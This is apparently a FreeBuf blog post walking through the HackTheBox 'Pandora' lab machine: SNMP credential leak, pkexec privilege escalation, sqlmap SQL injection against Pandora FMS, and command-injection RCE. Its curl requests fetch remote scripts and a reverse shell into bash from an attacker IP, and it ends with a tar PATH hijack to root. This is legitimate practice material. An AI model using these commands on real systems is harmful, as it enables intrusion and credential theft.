freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[Meachines] [Easy] Pandora SNMP+TRP00F权限提升+ktor-HTTP服务扫描+Pandora Fms SQLI-R...
maptnh 2025-02-13 21:10:44 50157
所属地 福建省

Information Gathering

IP AddressOpening Ports
10.10.11.136TCP:22,80,161

$ ip='10.10.11.136'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

PORT    STATE  SERVICE VERSION
22/tcp  open   ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 24c295a5c30b3ff3173c68d7af2b5338 (RSA)
|   256 b1417799469a6c5dd2982fc0329ace03 (ECDSA)
|_  256 e736433ba9478a190158b2bc89f65108 (ED25519)
80/tcp  open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing
|_http-server-header: Apache/2.4.41 (Ubuntu)
161/tcp open snmp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SNMP

http://10.10.11.136/

image.png

$ snmpwalk -v 1 -c public 10.10.11.136

image-1.png

Username: daniel
Password: HotelBabylon23

image-2.png

TRP00F

https://github.com/MartinxMax/trp00f

$ python3 trp00f.py --lhost 10.10.16.28 --lport 10000 --rhost 10.10.16.28 --rport 10032 --http 9999

[!] Do you want to exploit the vulnerability in file ‘pkexec’ ? (y/n) >y

image-3.png

Lateral movement && Pandora Fms SQLI & RCE

https://github.com/MartinxMax/KTOR/blob/main/ktor.sh

$ curl http://10.10.16.28/ktor.sh|bash -s -- -l -p all

image-6.png

$ ssh -L 9999:localhost:80 daniel@10.10.11.136

image-5.png

image-7.png

$ sqlmap --url="http://127.0.0.1:9999/pandora_console/include/chart_generator.php?session_id=''" --batch --dbs

image-8.png

$ sqlmap --url="http://127.0.0.1:9999/pandora_console/include/chart_generator.php?session_id=''" --batch -D pandora -T tsessions_php --dump

image-9.png

session:g4e01qdgk36mfdh90hvcc54umq

http://127.0.0.1:9999/pandora_console/include/chart_generator.php?session_id=g4e01qdgk36mfdh90hvcc54umq

image-10.png

$ curl -X POST "http://localhost:9999/pandora_console/ajax.php" \
     -H "Host: localhost:9999" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:91.0) Gecko/20100101 Firefox/91.0" \
     -H "Accept: application/json, text/javascript, */*; q=0.01" \
     -H "Accept-Language: en-US,en;q=0.5" \
     -H "Accept-Encoding: gzip, deflate" \
     -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
     -H "X-Requested-With: XMLHttpRequest" \
     -H "Origin: http://localhost:9999" \
     -H "Connection: close" \
     -H "Referer: http://localhost:9999/pandora_console/index.php?sec=eventos&sec2=operation/events/events" \
     -H "Cookie: PHPSESSID=g4e01qdgk36mfdh90hvcc54umq" \
     -H "Sec-Fetch-Dest: empty" \
     -H "Sec-Fetch-Mode: cors" \
     -H "Sec-Fetch-Site: same-origin" \
     -d "page=include%2fajax%2fevents&perform_event_response=10000000&target=whoami&response_id=1"

image-11.png

$ curl -X POST "http://localhost:9999/pandora_console/ajax.php" \
     -H "Host: localhost:9999" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:91.0) Gecko/20100101 Firefox/91.0" \
     -H "Accept: application/json, text/javascript, */*; q=0.01" \
     -H "Accept-Language: en-US,en;q=0.5" \
     -H "Accept-Encoding: gzip, deflate" \
     -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
     -H "X-Requested-With: XMLHttpRequest" \
     -H "Origin: http://localhost:9999" \
     -H "Connection: close" \
     -H "Referer: http://localhost:9999/pandora_console/index.php?sec=eventos&sec2=operation/events/events" \
     -H "Cookie: PHPSESSID=g4e01qdgk36mfdh90hvcc54umq" \
     -H "Sec-Fetch-Dest: empty" \
     -H "Sec-Fetch-Mode: cors" \
     -H "Sec-Fetch-Site: same-origin" \
     -d "page=include%2fajax%2fevents&perform_event_response=10000000&target=curl+http://10.10.16.28/rev.sh|bash&response_id=1"

image-12.png

User.txt

b4989b8688521476b6c5685a3b020269

Privilege Escalation:Breaking out from the restricted shell environment && Bin RE && Path Hijack &&

image-13.png

/usr/bin/pandora_backup

该文件具有S位,但执行时候提示权限不足,很明显这里我们是一个受限Shell

image-14.png

通过ssh-keygen生成公钥放到matt用户.ssh目录,ssh连接

$ ssh matt@127.0.0.1

image-16.png

image-17.png

将/usr/bin/pandora_backup复制,进行逆向分析

image-18.png

我们可以通过劫持Tar命令来获取shell

$ export PATH=/tmp:$PATH

$ echo -e '#!/bin/bash\n/bin/bash' > /tmp/tar

$ /usr/bin/pandora_backup

image-19.png

Root.txt

208a884a2a993e53704537085c4799d8

# web安全 # CTF
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 maptnh 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
HackTheBox
maptnh LV.9
Ценность жизни выше, чем кража данных.
  • 324 文章数
  • 62 关注者
[Meachines] [Medium] Aragog FTP+XXE+HTTP请求凭证窃取权限提升
2025-03-17
[Meachines] [Medium] Europa SQLI+preg_replace-RCE+D-link文件同步+cronjobs计划任务权限提升
2025-03-17
[CISSP] [3] 人员安全与社会工程
2025-03-15
文章目录